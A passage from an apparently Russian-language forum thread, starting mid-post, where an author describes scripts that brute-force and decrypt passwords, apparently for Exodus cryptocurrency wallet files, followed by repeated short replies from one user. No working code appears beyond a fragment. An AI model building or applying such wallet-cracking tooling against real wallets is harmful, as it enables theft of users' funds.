    return shrinked
    Точнее он проверяет, достаточно ли данных, извлекает длину и возвращает только нужную часть, чтобы подготовить данные для распаковки.

    Давайте протестриуем работает ли мой код:

    [IMG]

    Как видите все работает нормально, exodus_extract.py переберает пароли, а в seco_like.py их рассшифровывает.
     
  2. 228
    228 14 июн 2025 в 03:19 :catboom::catboom::catboom: 15 635 25 дек 2020
    Мой автоматический ответ
     
  3. 228
    228 14 июн 2025 в 03:20 :catboom::catboom::catboom: 15 635 25 дек 2020
    Мой автоматический ответ
     
  4. 228
    228 14 июн 2025 в 03:21 :catboom::catboom::catboom: 15 635 25 дек 2020
    Мой автоматический ответ
     
  5. 228
    228 14 июн 2025 в 03:29 :catboom::catboom::catboom: 15 635 25 дек 2020
  6. 228
    228 14 июн 2025 в 03:31 :catboom::catboom::catboom: 15 635 25 дек 2020
  7. 228
    228 14 июн 2025 в 03:32 :catboom::catboom::catboom: 15 635 25 дек 2020
  8. 228
    228 14 июн 2025 в 03:37 :catboom::catboom::catboom: 15 635 25 дек 2020
    passed with hide
     
  9. 228
    228 14 июн 2025 в 03:44 :catboom::catboom::catboom: 15 635 25 дек 2020
     
    1. 228
      да ну нахуй оно работает
Загрузка...
Top